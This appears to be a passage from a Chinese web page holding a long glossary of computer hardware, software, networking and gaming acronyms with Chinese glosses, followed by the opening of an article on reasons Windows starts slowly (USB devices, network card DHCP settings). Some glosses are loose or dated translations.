Controller Hub，64位PCI控制中心） PCB（printed circuit board，印刷电路板） PCBA（Printed Circuit Board Assembly，印刷电路板装配） PCI（Peripheral Component Interconnect，互连外围设备） PCI SIG（Peripheral Component Interconnect Special Interest Group，互连外围设备专业组） POST（Power On Self Test，加电自测试） RNG（Random number Generator，随机数字发生器） RTC（Real Time Clock，实时时钟） KBC（KeyBroad Control，键盘控制器） SBA（Side Band Addressing，边带寻址） SMA（Share Memory Architecture，共享内存结构） STD（Suspend To Disk，磁盘唤醒） STR（Suspend To RAM，内存唤醒） SVR（Switching Voltage Regulator，交换式电压调节） USB（Universal Serial Bus，通用串行总线） USDM（Unified System Diagnostic Manager，统一系统监测管理器） VID（Voltage Identification Definition，电压识别认证） VRM （Voltage Regulator Module，电压调整模块） ZIF（Zero Insertion Force，零插力） 主板技术 技嘉 ACOPS: Automatic CPU OverHeat Prevention System（CPU过热预防系统） SIV: System Information Viewer（系统信息观察） 盘英 ESDJ（Easy Setting Dual Jumper，简化CPU双重跳线法） 浩鑫 UPT（USB、PANEL、LINK、TV-OUT四重界面） 芯片组 ACPI（Advanced Configuration and Power Interface，先进设置和电源管理） AGP（Accelerated Graphics Port，图形加速接口） I/O（Input/Output，输入/输出） MIOC（Memory and I/O Bridge Controller，内存和I/O桥控制器） NBC（North Bridge Chip，北桥芯片） PIIX（PCI ISA/IDE Accelerator，加速器） PSE36（Page Size Extension 36－bit，36位页面尺寸扩展模式） PXB（PCI Expander Bridge，PCI增强桥） RCG（RAS/CAS Generator，RAS/CAS发生器） SBC（South Bridge Chip，南桥芯片） SMB（System Management Bus，全系统管理总线） SPD（Serial Presence Detect，内存内部序号检测装置） SSB（Super South Bridge，超级南桥芯片） TDP（Triton Data Path，数据路径） TSC（Triton System Controller，系统控制器） QPA（Quad Port Acceleration，四界面加速） 3、显示设备 ASIC（Application Specific Integrated Circuit，特殊应用集成电路） ASC（Auto-Sizing and Centering，自动调效屏幕尺寸和中心位置） BLA（Bearn Landing Area，电子束落区） CRC（Cyclical Redundancy Check，循环冗余检查） CRT（Cathode Ray Tube，阴极射线管） DDC（Display Data Channel，显示数据信道） DFL（Dynamic Focus Lens，动态聚焦） DFS（Digital Flex Scan，数字伸缩扫描） DIC（Digital Image Control，数字图像控制） Digital Multiscan II（数字式智能多频追踪） DLP（digital Light Processing，数字光处理） DOSD（Digital On Screen Display，同屏数字化显示） DPMS（Display Power Management Signalling，显示能源管理信号） DQL（Dynamic Quadrapole Lens，动态四极镜） DSP（Digital Signal Processing，数字信号处理） EFEAL（Extended Field Elliptical Aperture Lens，可扩展扫描椭圆孔镜头） FRC（Frame Rate Control，帧比率控制） LCD（liquid crystal display，液晶显示屏） LCOS（Liquid Crystal On Silicon，硅上液晶） LED（light emitting diode，光学二级管） L-SAGIC（Low Power-Small Aperture G1 wiht Impregnated Cathode，低电压光圈阴极管） LVDS（Low Voltage Differential Signal，低电压差动信号） MALS（Multi Astigmatism Lens System，多重散光聚焦系统） MDA（Monochrome Adapter，单色设备） MS（Magnetic Sensors，磁场感应器） Porous Tungsten（活性钨） RSDS（Reduced Swing Differential Signal，小幅度摆动差动信号） Shadow Mask（阴罩式） TDT（Timeing Detection Table，资料测定表） TICRG（Tungsten Impregnated Cathode Ray Gun，钨传输阴级射线枪） TFT（thin film transistor，薄膜晶体管） VAGP（Variable Aperature Grille Pitch，可变间距光栅） VBI（Vertical Blanking Interval，垂直空白间隙） VDT（Video Display Terminals，视频显示终端） VRR（Vertical Refresh Rate，垂直扫描频率） 4、视频 3D（Three Dimensional，三维） 3DS（3D SubSystem，三维子系统） AE（Atmospheric Effects，雾化效果） AFR（Alternate Frame Rendering，交替渲染技术） Anisotropic Filtering（各向异性过滤） APPE（Advanced Packet Parsing Engine，增强形帧解析引擎） AV（Analog Video，模拟视频） Back Buffer（后置缓冲） Backface culling（隐面消除） Battle for Eyeballs（眼球大战，各3D图形芯片公司为了争夺用户而作的竞争） Bilinear Filtering（双线性过滤） CG（Computer Graphics，计算机生成图像） Clipping（剪贴纹理） Clock Synthesizer（时钟合成器） compressed textures（压缩纹理） Concurrent Command Engine（协作命令引擎） Center Processing Unit Utilization(中央处理器占用率) DAC（Digital to Analog Converter，数模传换器） Decal（印花法，用于生成一些半透明效果，如：鲜血飞溅的场面） DFP（Digital Flat Panel，数字式平面显示器） DFS: Dynamic Flat Shading（动态平面描影，可用作加速） Dithering（抖动） Directional Light（方向性光源） DME: Direct Memory Execute（直接内存执行） DOF（Depth of Field，多重境深） dot texture blending（点型纹理混和） Double Buffering（双缓冲区） DIR（Direct Rendering Infrastructure，基层直接渲染） DVI（Digital Video Interface，数字视频接口） DxR（DynamicXTended Resolution，动态可扩展分辨率） DXTC（Direct X Texture Compress，DirectX纹理压缩，以S3TC为基础） Dynamic Z-buffering（动态Z轴缓冲区），显示物体远近，可用作远景 E-DDC（Enhanced Display Data Channel，增强形视频数据信道协议，定义了显示输出与主系统之间的通讯信道，能提高显示输出的画面质量） Edge Anti－aliasing（边缘抗锯齿失真） E-EDID（Enhanced Extended Identification Data，增强形扩充身份辨识数据，定义了计算机通讯视频主系统的数据格式） Execute Buffers（执行缓冲区） environment mapped bump mapping（环境凹凸映射） Extended Burst Transactions（增强式突发处理） Front Buffer（前置缓冲） Flat（平面描影） Frames rate is King（帧数为王） FSAA（Full Scene Anti－aliasing，全景抗锯齿失真） Fog（雾化效果） flip double buffered（反转双缓存） fog table quality（雾化表画质） GART（Graphic Address Remappng Table，图形地址重绘表） Gouraud Shading（高洛德描影，也称为内插法均匀涂色） GPU（Graphics Processing Unit，图形处理器） GTF（Generalized Timing Formula，一般程序时间，定义了产生画面所需要的时间，包括了诸如画面刷新率等） HAL（Hardware Abstraction Layer，硬件抽像化层） hardware motion compensation（硬件运动补偿） HDTV（high definition television，高清晰度电视） HEL: Hardware Emulation Layer（硬件模拟层） high triangle count（复杂三角形计数） ICD（Installable Client Driver，可安装客户端驱动程序） IDCT（Inverse Discrete Cosine Transform，非连续反余弦变换，GeForce的DVD硬件强化技术） Immediate Mode（直接模式） IPPR（Image Processing and Pattern Recognition，图像处理和模式识别） large textures（大型纹理） LF（Linear Filtering，线性过滤，即双线性过滤） lighting（光源） Local Peripheral Bus（局域边缘总线） mipmapping（MIP映射） Modulate（调制混合） Motion Compensation（动态补偿） motion blur（动态模糊） MPPS（Million Pixels Per Second，百万个像素/秒） Multi-Resolution Mesh（多重分辨率组合） Multi Threaded Bus Master（多重主控） Multitexture（多重纹理） nerest Mipmap（邻近MIP映射，又叫点采样技术） Overdraw（透支，全景渲染造成的浪费） partial texture downloads（并行纹理传输） Parallel Processing Perspective Engine（平行透视处理器） PC（Perspective Correction，透视纠正） PGC（Parallel Graphics Configuration，并行图像设置） pixel（P像素，屏幕上的像素点） point light（一般点光源） point sampling（点采样技术，又叫邻近MIP映射） Precise Pixel Interpolation（精确像素插值） Procedural textures（可编程纹理） RAMDAC（Random Access Memory Digital to Analog Converter，随机内存数/模转换器） Reflection mapping（反射贴图） render（着色或渲染） S3（Sight、Sound、Speed，视频、音频、速度） S3TC（S3 Texture Compress，S3纹理压缩，仅支持S3显卡） S3TL（S3 Transformation & Lighting，S3多边形转换和光源处理） Screen Buffer（屏幕缓冲） SDTV（Standard Definition Television，标准清晰度电视） Shading（描影） Single Pass Multi-Texturing（单通道多纹理） SLI（Scanline Interleave，扫描线间插，3Dfx的双Voodoo 2配合技术） Smart Filter（智能过滤） soft shadows（柔和阴影） soft reflections（柔和反射） spot light（小型点光源） SRA（Symmetric Rendering Architecture，对称渲染架构） Stencil Buffers（范本缓冲） Stream Processor（流线处理） SuperScaler Rendering（超标量渲染） texel（T像素，纹理上的像素点） Texture Fidelity（纹理真实性） texture swapping（纹理交换） T&L（Transform and Lighting，多边形转换与光源处理） T-Buffer（T缓冲，3dfx Voodoo4的特效，包括全景反锯齿Full-scene Anti-Aliasing、动态模糊Motion Blur、焦点模糊Depth of Field Blur、柔和阴影Soft Shadows、柔和反射Soft Reflections） TCA（Twin Cache Architecture，双缓存结构） Transparency（透明状效果） Transformation（三角形转换） Trilinear Filtering（三线性过滤） Texture Modes（材质模式） TMIPM（Trilinear MIP Mapping，三次线性MIP材质贴图） UMA（Unified Memory Architecture，统一内存架构） Visualize Geometry Engine（可视化几何引擎） Vertical Interpolation（垂直调变） VIP（Video Interface Port，视频接口） ViRGE（Video and Rendering Graphics Engine，视频描写图形引擎） Voxel（Volume pixels，立体像素，Novalogic的技术） VQTC（Vector-Quantization Texture Compression，向量纹理压缩） VSIS（Video Signal Standard，视频信号标准） v-sync（同步刷新） Z Buffer（Z缓存） 5、音频 3DPA（3D Positional Audio，3D定位音频） AC（Audio Codec，音频多媒体数字信号编译码器） Auxiliary Input（辅助输入接口） CS（Channel Separation，声道分离） DS3D（DirectSound 3D Streams） DSD（Direct Stream Digital，直接数字信号流） DSL（Down Loadable Sample，可下载的取样音色） DLS-2（Downloadable Sounds Level 2，第二代可下载音色） EAX（Environmental Audio Extensions，环境音效扩展技术） FM（Frequency Modulation，频率调制） FR（Frequence Response，频率响应） FSE（Frequency Shifter Effect，频率转换效果） HRTF（Head Related Transfer Function，头部关联传输功能） IAS（Interactive Around-Sound，交互式环绕声） MIDI（Musical Instrument Digital Interface，乐器数字接口） NDA（non-DWORD-aligned ，非DWORD排列） Raw PCM: Raw Pulse Code Modulated（元脉码调制） RMA（RealMedia Architecture，实媒体架构） RTSP（Real Time Streaming Protocol，实时流协议） SACD（Super Audio CD，超级音乐CD） SNR（Signal to Noise Ratio，信噪比） S/PDIF（Sony/Phillips Digital Interface，索尼/飞利普数字接口） SRS（Sound Retrieval System，声音修复系统） Super Intelligent Sound ASIC（超级智慧音频集成电路） THD+N（Total Harmonic Distortion plus Noise，总谐波失真加噪音） QEM（QSound Environmental Modeling，QSound环境建模） WG（Wave Guide，波导合成） WT（Wave Table，波表合成） 6、RAM&ROM ABP（Address Bit Permuting，地址位序列改变） ATC（Access Time from Clock，时钟存取时间） BSRAM（Burst pipelined synchronous static RAM，突发式管道同步静态内存） CAS（Column Address Strobe，列地址控制器） CCT（Clock Cycle Time，时钟周期） DB（Deep Buffer，深度缓冲） DDR SDRAM（Double Date Rate，双数据率SDRAM） DIL（dual-in-line） DIMM（Dual In-line Memory Modules，双重内嵌式内存模块） DRAM（Dynamic Random Access Memory，动态随机内存） DRDRAM（Direct RAMbus DRAM，直接RAMbus内存） ECC（Error Checking and Correction，错误检查修正） EEPROM（Electrically Erasable Programmable ROM,电擦写可编程只读存储器） FM（Flash Memory，闪存） FMD ROM （Fluorescent Material Read Only Memory，荧光质只读存储器） PIROM（Processor Information ROM，处理器信息ROM） PLEDM（Phase-state Low Electron（hole）-number Drive Memory） RAC（Rambus Asic Cell，Rambus集成电路单元） RAS（Row Address Strobe，行地址控制器） RDRAM（Rambus Direct RAM，直接型RambusRAM） DIMM（RAMBUS In-line Memory Modules，RAMBUS内嵌式内存模块） SDR SDRAM（Single Date Rate，单数据率SDRAM） SGRAM（synchronous graphics RAM，同步图形随机储存器） SO-DIMM（Small Outline Dual In-line Memory Modules，小型双重内嵌式内存模块） SPD（Serial Presence Detect，串行存在检查） SRAM（Static Random Access Memory，静态随机内存） SSTL-2（Stub Series Terminated Logic-2） TSOPs（thin small outline packages，超小型封装） USWV（Uncacheable，Speculative，Write-Combining非缓冲随机混合写入） VCMA（Virtual Channel Memory architecture，虚拟信道内存结构） 7、磁盘 AAT（Average access time，平均存取时间） ABS（Auto Balance System，自动平衡系统） ASMO（Advanced Storage Magneto-Optical，增强形光学内存） AST（Average Seek time，平均寻道时间） ATA（AT Attachment，AT扩展型） ATOMM（Advanced super Thin-layer and high-Output Metal Media，增强形超薄高速金属媒体） bps（bit per second，位/秒） CSS（Common Command Set，通用指令集） DMA（Direct Memory Access，直接内存存取） DVD（Digital Video Disk，数字视频光盘） EIDE（enhanced Integrated Drive Electronics，增强形电子集成驱动器） FAT（File Allocation Tables，文件分配表） FDBM（Fluid dynamic bearing motors，液态轴承马达） FDC（Floppy Disk Controller，软盘驱动器控制装置） FDD（Floppy Disk Driver，软盘驱动器） GMR（giant magnetoresistive，巨型磁阻） HDA（head disk assembly，磁头集合） HiFD（high-capacity floppy disk，高容量软盘） IDE（Integrated Drive Electronics，电子集成驱动器） LBA（Logical Block Addressing，逻辑块寻址） MBR（Master Boot Record，主引导记录） MTBF（Mean Time Before Failure，平均故障时间） PIO（Programmed Input Output，可编程输入输出模式） PRML（Partial Response Maximum Likelihood，最大可能部分反应，用于提高磁盘读写传输率） RPM（Rotation Per Minute，转/分） RSD（Removable Storage Device，移动式存储设备） SCSI（Small Computer System Interface，小型计算机系统接口） SCMA（SCSI Configured Auto Magically，SCSI自动配置） S.M.A.R.T.（Self-Monitoring, Analysis and Reporting Technology，自动监测、分析和报告技术） SPS（Shock Protection System，抗震保护系统） Ultra DMA（Ultra Direct Memory Access，超高速直接内存存取） LVD（Low Voltage Differential） Seagate硬盘技术 DiscWizard（磁盘控制软件） DST（Drive Self Test，磁盘自检程序） SeaShield（防静电防撞击外壳） 8、光驱 ATAPI（AT Attachment Packet Interface） BCF（Boot Catalog File，启动目录文件） BIF（Boot Image File，启动映射档） CDR（CD Recordable，可记录光盘） CD-ROM/XA（CD－ROM eXtended Architecture，只读光盘增强形架构） CDRW（CD-Rewritable，可重复刻录光盘） CLV（Constant Linear Velocity，恒定线速度） DAE（digital Audio Extraction，资料音频抓取） DDSS（Double Dynamic Suspension System，双悬浮动态减震系统） DDSS II（Double Dynamic Suspension System II，第二代双层动力悬吊系统） PCAV（Part Constant Angular Velocity，部分恒定角速度） VCD（Video CD，视频CD） 9、打印机 AAS（Automatic Area Seagment?） dpi（dot per inch，每英寸的打印像素） ECP（Extended Capabilities Port，延长能力埠） EPP（Enhanced Parallel Port，增强形并行接口） IPP（Internet Printing Protocol，因特网打印协议） ppm（paper per minute，页/分） SPP（Standard Parallel Port，标准并行口） TET（Text Enhanced Technology，文本增强技术） USBDCDPD（Universal Serial Bus Device Class Definition for Printing Devices，打印设备的通用串行总线级标准） VD（Variable Dot，变点式打印） 10、扫描仪 TWAIN（Toolkit Without An Interesting Name，协议） 11、计算机公司 Ali（Acer Lab，宏基实验室） ASF（Applied Science Fiction，？） AMD: Advanced Micro Device（超微半导体） AMI（American Megatrends Incorporated，？） EAR（Extreme Audio Reality，？） HP（Hewlett-Packard，美国惠普公司） IBM（International Business Machine，国际商业机器） IDG（International Data Group，国际资料集团） IMS（International Meta System，？） MLE（Microsoft Learning and Entertainment，微软教学与娱乐公司） MS（Microsoft，微软） NAI（Network Associates Incorporation，前身为McAfee） NS（National Semiconductor，国家半导体） PMI（Pacific Magtron International） SCE（sony computer entertainment，索尼计算机娱乐部） SGI（Silicon Graphics，？） SiS（Silicon Integrated Systems，硅片综合系统公司） UMC（United Microelectronics Corporation，台湾联华电子公司，半导体制造商） WD（Western Digital，西部数据） ZD（Ziff-Davis出版公司） 12、组织 CBF（Cable Broadband Forum，电缆宽带论坛） CEMA（Consumer Electronics Manufacturing Association，消费者电子制造业协会） CPE（Customer Premise Equipment，用户预定设备） CSA（Canadian Standards Association，加拿大标准协会） DCA（Defense Communication Agency，国防部通信局） DOJ（Department of Justice，反不正当竞争部门） DSP（Delivery Service Partner，交付服务合伙人） DVB（Digital Video Broadcasting，数位视频广播） E3（Electronic Entertainment Expo，电子娱乐展览会） EFF: Electronic Frontier Foundation（电子前线基金会） EPA（Environmental Protection Agency，美国环境保护局） FCC（Federal Communications Commission，联邦通信委员会） FTC（Federal Trade Commission，联邦商业委员会） GDC（Game Developer Conference，游戏发展商会议） ISSCC（International Solid-State Circuits Conference，国际晶体管电路讨论会） ICSA（International Computer Security Association，国际计算机安全协会，它的前身为NCSA（National Computer Security Association，国家计算机安全协会） IEEE（Institute of Electrical and Electronics Engineers，电子电路工程师协会） IFWP（International Forum White Paper，国际白皮书论坛） ISO/MPEG（International Standard Organization's Moving Picture Expert Group，国际标准化组织的活动图片专家组） ITAA（Information Technology Association of American，美国信息技术协会） MAC（Mobile Advisory Council，？） MCSP（Microsoft Certified Solution Providers，微软认证解决方案供货商） MJPEG（Motion Joint Photographic Experts Group，移动式连续图像专家组） MMA（MIDI Manufacturer Association，MIDI制造商联盟） NCTA（National Cable Television Association，美国电缆电视协会） NIA（Networking Interoperatility Alliance，网络互操作联盟） NBITD（National Board for Industrual and Technical Development，瑞典国立工业和技术发展委员会制订） OAAF（Open Arcade Architecture Forum，开放式Arcade体系论坛） OEM（Original Equipment Manufacturer，原始设备制造商） OIF（Optical Internetworking Forum，光纤互连网络论坛） RIAA（Recording Industry Association of America，美国唱片工业协会） RIO（Redistributed Internet Object，因特网分配组织） SIA（The Semiconductor Industries Association，半导体工业协会） SPA（Software Publishers Association，软件出版商协会） TSOWU（The Swedish office worker's union，瑞典办公人员联合会，以制订TCO标准著称） UAWG（Universal ADSL Working Group，通用ADSL工作组） UCAID（University Corporation for Advanced Internet Development，？） UL（Underwriters Laboratories Inc.，新产品承诺实验室） VAR（＆#118alue Added Resellers，增值分销商） W3C（World Wide Web Consortium，万维网协会） WHQL（Microsoft Windows Hardware Quality Lab，微软公司窗口硬件质量实验室） WinHEC（Windows Hardware Engineering Conference，窗口硬件工程会议 13、编程 API（Application Programming Interfaces，应用程序接口） ASCII（American Standard Code for Information Interchange，美国国家标准信息交换代码） ATL（ActiveX Template Library，ActiveX范本库） BASIC（Beginner's All-purpose Symbolic Instruction Code，初学者通用指令代码） COM（Component Object Model，组件对象模式） DNA（Distributed Internet Application，分布式因特网应用程序） MFC（Microsoft Foundation Classes，微软基础类库） SDK（Software Development Kit，软件开发工具包） 14、Windows CE（Consumer Electronics，消费电子） DCOM（Distributing Component Object Model，构造物体模块） DHCP（Dynamic Host Configuration Protocol，动态主机分配协议） DMF（Distribution Media Format，？） GDI（Graphics Device Interface，图形设备接口） GUI（Graphics User Interface，图形用户接口） GPF（General protect fault，一般保护性错误） HTA（HyperText Application，超文本应用程序） INF File（Information File，信息文件） INI File（Initialization File，初始化文件） NDIS（Network Driver Interface Specification，网络驱动程序接口规范） NT（New Technology，新技术） Qos（Quality of Service，服务质量） RRVP（Resource ReserVation Protocol，资源保留协议） RTOS（Real Time Operating Systems，实时操作系统） SBFS（Simple Boot Flag Specification，简单引导标记规范） VEFAT（Virtual File Allocation Table，虚拟文件分配表） VxD（Virtual device drivers，虚拟设备驱动程序） WDM（Windows Driver Model，窗口驱动程序模块） Winsock（Windows Socket，窗口套接口） WHQL（Windows Hardware Quality Labs，Windows硬件质量实验室） WHS（Windows Scripting Host，窗口脚本程序） ZAM（Zero Administration for Windows，零管理窗口系统） 15、加密 ECC（Elliptic Curve Crypto，椭圆曲线加密） SET（Secure Electronic Transaction，安全电子交易） 16、语言 CSS（Cascading Style Sheets，层迭格式表） DCD（Document Content Description for XML: XML档内容描述） DTD（Document Type Definition，档类型定义） HTML（HyperText Markup Language，超文本标记语言） JVM（Java Virtual Machine, Java虚拟机） OJI（Open Java VM Interface，开放JAVA虚拟机界面） SGML（Standard Generalized Markup Language，标准通用标记语言） SMIL（Synchronous Multimedia Integrate Language，同步多媒体集成语言） VRML（Virtual Reality Makeup Language，虚拟现实结构化语言） VXML（Voice eXtensible Markup Language，语音扩展标记语言） XML（Extensible Markup Language，可扩展标记语言） XSL（Extensible Style Sheet Language，可扩展设计语言） 17、网络 ADSL（Asymmetric Digital Subscriber Line，不对称数位订阅线路） AH（Authentication Header，鉴定文件头） AMR（Audio/Modem Riser，音效/数据主机板附加直立插卡） ARP（Address Resolution Protocol，地址解析协议） ATM（Asynchronous Transfer Mode，异步传输模式） BOD（Bandwidth On Demand，弹性带宽运用） CBR（Committed Burst Rate，约定突发速率） CCIRN（Coordinating Committee for Intercontinental Research Networking，洲际研究网络协调委员会） CCM（Call Control Manager，拨号控制管理） CDSL（Consumer Digital Subscriber Line，消费者数位订阅线路） CGI（Common Gateway Interface，通用网关接口） CIEA（Commercial Internet Exchange Association，商业因特网交易协会） CIR（Committed Infomation Rate，约定信息速率） CTS（Clear to Send，清除发送） DBS-PC（Direct Broadcast Satellite PC，人造卫星直接广播式PC） DCE（Data Circuit Terminal Equipment，数据通信设备） DES（Data Encryption Standard，数据加密标准） DMT（Discrete Multi - Tone，不连续多基频模式） DNS（Domain Name System，域名系统） DOCSIS（Data Over Cable Service Interface Specifications，线缆服务接口数据规格） DTE（Data Terminal Equipment，数据终端设备） EBR（Excess Burst Rate，超额突发速率） ESP（Encapsulating Security Payload，压缩安全有效载荷） FDM（Frequency Division Multi，频率分离） FRICC（Federal Research Internet Coordinating Committee，联邦调查因特网协调委员会） FTP（File Transfer Protocol，文件传输协议） Ghost（General Hardware Oriented System Transfer，全面硬件导向系统转移） HDSL（High bit rate DSL，高比特率数位订阅线路） HTTP（HyperText Transfer Protocol，超文本传输协议） ICMP（Internet Control Message Protocol，因特网信息控制协议） IETF（Internet Engineering Task Framework，因特网工程任务组） IKE（Internet Key Exchange，因特网密钥交换协议） IMAP4（Internet Message Access Protocol Version 4，第四版因特网信息存取协议） Internet（因特网） IP（Internet Protocol，网际协议） ISDN（Integrated Service Digital Network，综合服务数字网络） ISOC（Internet Society，因特网协会） ISP（Internet Service Provider，因特网服务提供商） LAN（Local Area Network，局域网） LDAP（Lightweight Directory Access Protocol，轻权目录访问协议） LOM（LAN-on-Montherboard） IAB（Internet Activities Board，因特网工作委员会） IETF（Internet Engineering Task Force，因特网工程作业推动） L2TP（Layer 2 Tunneling Protocol，二级信道协议） LMDS（Local Multipoint Distributed System，局域多点分布式系统） MIME（Multipurpose Internet Mail Extension，多用途因特网邮件扩展协议） MNP（Microcom Networking Protocal） MODEM（Modulator Demodulator，调制解调器） NAT（Network Address Translation，网络地址转换） NC（Network Computer，网络计算机） NDS（Novell Directory Service，Novell目录服务） NNTP（Network News Transfer Protocol，网络新闻传输协议） MSN（Microsoft Network，微软网络） OFDM（orthogonal frequency division multiplexing，直角频率部分多任务） P3P（Privacy Preference Project，个人私隐安全平台） PDS（Public Directory Support，公众目录支持） PGP（Pretty Good Privacy，优良保密协议） PICS（Platform for Internet Content Selection，因特网内容选择平台） POF（Polymer Optical Fiber，聚合体光纤） POP3（Post Office Protocol Version 3，第三版电子邮局协议） PPTP（Point to Point Tunneling Protocol，点对点信道协议） RADSL（Rate Adaptive DSL，速率自适应数字订阅线路） RARP（Reverse Address Resolution Protocol，反向地址解析协议） RDF（Resource Description Framework，资源描述框架） RSA（Rivest Shamir Adlemen，一种因特网加密和认证体系） RTS（Request To Send，需求发送） SIS（Switched Internetworking Services，交换式网络互联服务） S/MIME（Secure MIME，安全多用途因特网邮件扩展协议） SNMP（Simple Network Management Protocol，简单网络管理协议） SMTP（Simple Mail Transfer Protocol，简单邮件传输协议） SKIP（Simple Key Exchange Internet Protocol，因特网简单密钥交换协议） SUA（Single User Account，单用户账号） TCP（Transmission Control Protocol，传输控制协议） UDP（User Datagram Protocol，用户数据报协议） ULS（User Location Service，用户定位服务） VOD（Video On Demand，视频点播） VPN（virtual private network, 虚拟局域网） WWW（World Wide Web，万维网，是因特网的一部分） 18、通信 CTI（Computer Telephone Integration，计算机电话综合技术） DBS（Direct Broadcast Satellite，直接卫星广播） DWDM（Dense WaveLength Division Multiplex，波长密集型复用技术） MMDS（Multichannel Multipoint Distribution Service，多波段多点分发服务） PCM（Pulse Code Modulation，脉冲编码调制） PSTN（Public Switched Telephone Network，公用交换式电话网） TAPI（Telephony Application Programming Interface，电话应用程序接口） TSAPI（Telephony Services Application Programming Interface，电话服务应用程序接口） WDM（WaveLength Division Multiplex，波分多任务） 19、游戏 ACT（Action，动作类游戏） ARPG（Action Role Play Games，动作角色扮演游戏） AVG（Adventure Genre，冒险类游戏） DAN（Dance，跳舞类游戏，包括跳舞机、吉它机、打鼓机等） DC（Dreamcast，世嘉64位游戏机） ETC（etc，其它类游戏，包括模拟飞行） FFJ（Force Feedback Joystick，力量反匮式操纵杆） FPP（First Person Game，第一人称游戏） FTG（Fighting Game，格斗类游戏） GB（Game Boy，任天堂4位手提游戏机） GBC（Game Boy Color，任天堂手提16色游戏机） GG（Game Gear，世嘉彩色手提游戏机） FC（Famicom，任天堂8位游戏机） fps（frames per second，帧/秒） FR（Frames Rate，游戏运行帧数） MAC（Macintosh，苹果计算机） N64（Nintendo 64，任天堂64位游戏机） SFC（Super Famicom，超级任天堂16位游戏机） SLG（Simulation Game，模拟类游戏） SPG（Sports Games，运动类游戏） SRPG（Strategies Role Play Games，战略角色扮演游戏） STG（Shoot Game，射击类游戏） SS（Sega Saturn，世嘉土星32位游戏机） PC（Personal Computer，个人计算机） PS（Play Station，索尼32位游戏机） PS（Pocket Station，索尼手提游戏机） RAC（race，赛车类游戏） RTS（Real Time Strategies，实时战略） RPG（Role Play Games，角色扮演游戏） TAB（Table Chess，桌棋类游戏） 20、服务器 C2C（card-to-card interleaving，卡到卡交错存取） cc-NUMA（cache-coherent non uniform memory access，连贯缓冲非统一内存寻址） CHRP（Common Hardware Reference Platform，共享硬件平台，IBM为PowerPC制定的标准，可以兼容Mac OS, Windows NT, Solaris, OS/2, Linux和AIX等多种操作系统） EMP（Emergency Management Port，紧急事件管理埠） ICMB（Inter-Chassis Management Bus, 内部管理总线） MPP（Massive Parallel Processing，巨量平行处理架构） MUX（Data Path Multiplexor，多重路径数据访问） SOS（Server Operating Systems，服务器操作系统） TPS（transactions per second，每秒处理事项数） UPA（Ultra Port Architecture，超级端口结构） 21、其它 AL（Artificial Life，人工生命） APM（Advanced Power Management，高级能源管理） AVI（Audio Video Interleave，音频视频插入） ASPI（Advanced SCSI Program Interface， 高级SCSI编程界面。它定义了当和SCSI主机适配器通讯时应用程序使用的一系列软件命令） Benchmarks（基准测试程序数值） BOPS（Billion Operations Per Second，十亿次运算/秒） BSD（Berkeley Software Distribution，伯克利软件分配代号） CAD（computer-aided design，计算机辅助设计） CCD（Charge Coupled Device，电荷连接设备） CCS（Cut Change System） COMDEX （Computer Distribution Exposition，计算机代理分销业展览会） CEO（Chief Executive Officer，首席执行官） COO（Chief Organizer Officer，首席管理官） CTO（Chief Technology Officer，首席技术官） CTS（Carpal Tunnel Sydrome，计算机腕管综合症） CPS（Certification Practice Statement，使用证明书） CVS（Compute Visual Syndrome，计算机视觉综合症） DAC（Dual Address Cycle，双重地址周期） DPC（Desktop PC，桌面PC） DSL（Data Strobe Link，数据选通连接） ERP（Enterprise Requirement Planning，企业需求计划） ERP（estimated retail price，估计零售价） ES（Energy Star，能源之星） FAQ（Frequently Asked Questions，常见问题回答） GPS（Global Positioning System，全球定位系统） HCI（Host Controller Interface，主机控制接口） HCT（Hardware Compatibility Test，硬件兼容性测试） HPS（High Performance Server，高性能服务器） HPW（High Performance Workstation，高性能工作站） IHVs（Independent Hardware Vendors，独立硬件购买者） IRQ（Interrupt Request，中断请求） ISVs（Independent Software Vendors，独立软件购买者） JIT（Just In Time，准时制生产） MFD（Multi Function Device，多功能设备） MIPS（Million Instruction Per Second，百万条指令/秒） MMVF（Multi-Media Video File，多媒体视频文件） MRP（Material Requirement Planning，物料需求计划） MRP II（Manufacturing Resource Planning，制造资源计划） MRS（Midrange Server，中型服务器） MRW（Midrange Workststion，中型工作站） MSP（Media Stream Processor，媒体流处理器） MTVPAK（Microsoft TV Platform Adaptation Kit，微软TV平台适配套件） OPT（Optimized Production Technology，优化生产技术） PIC（Programmable Interrupt Controller，可编程中断控制器） PIM（Personal Information Management，个人信息管理系统） PNP（Plug and Play，即插即用） PSU（Power Supply Unit，计算机电源） REMA（Realtime Exclusive Mode Applications，实时高级应用） RF（Radio Frequency，无线电频率） SAM（sales available market，可发售市场） SCT（Software Compatibility Test，软件兼容性测试） SMD（Surface Mount Device，表面安装设备） SMM（System Management Mode，系统管理模式） SMP（GSymmetic Multi-Processor） SOAC（System On a Chip，系统集成多功能芯片） STB（Set Top Boxes，顶置盒） TCO（Total Cost of Ownership，拥有总成本） TSID（ Technical Support Identification Number，技术支持代码） TTL（Transistor-Transistor Logic，晶体管to晶体管逻辑电路） TQM（Total Quality Management，全面质量管理） VBI（Vertical Blanking Interval，垂直空白间隔） WfM（Wired for Management，有线管理） WMI（Wired for Management Initiative，主动式管理线路） WOL（Wake On Lan，局域网唤醒）

 

大家都希望电脑一开机就可以立即进入Windows 系统而不用等待，但由于种种原因常常未能如愿，甚至一开机就死机的情况也时有发生。其实有些时候Windows 启动速度缓慢并不是它本身的问题，而是一些设备或软件造成的，看看下面拖慢系统启动的8个原因，再查一查你的电脑是不是也存在类似问题！

　　1．USB硬盘和扫描仪等设备

　　如果电脑安装了扫描仪等设备，或在启动时已经连接了USB硬盘，那么不妨试试先将它们断开，看看启动速度是不是有变化。一般来说，由于USB接口速度较慢，因此相应设备会对电脑启动速度有较明显的影响，应该尽量在启动后再连接USB设备。如果没有USB设备，那么建议直接在BIOS设置中将USB功能关闭。

　　提示：由于Windows 启动时会对各个驱动器（包括光驱）进行检测，因此如果光驱中放置了光盘，也会延长电脑的启动时间。

　　2．令人心烦的网卡

　　如果设置不当，网卡也会明显影响系统启动速度，如果你的电脑用不着网卡，那就直接将网卡拔掉，以免影响系统启动速度。

　　如果你的电脑连接在局域网内，安装好网卡驱动程序后，默认情况下系统会自动通过DHCP来获得IP地址，但大多数公司的局域网并没有DHCP服务器，因此如果用户设置成“自动获得IP地址”，系统在启动时就会不断在网络中搜索DHCP 服务器，直到获得IP 地址或超时，自然就影响了启动时间，因此局域网用户最好为自己的电脑指定固定IP地址。

　　3．文件和打印机共享

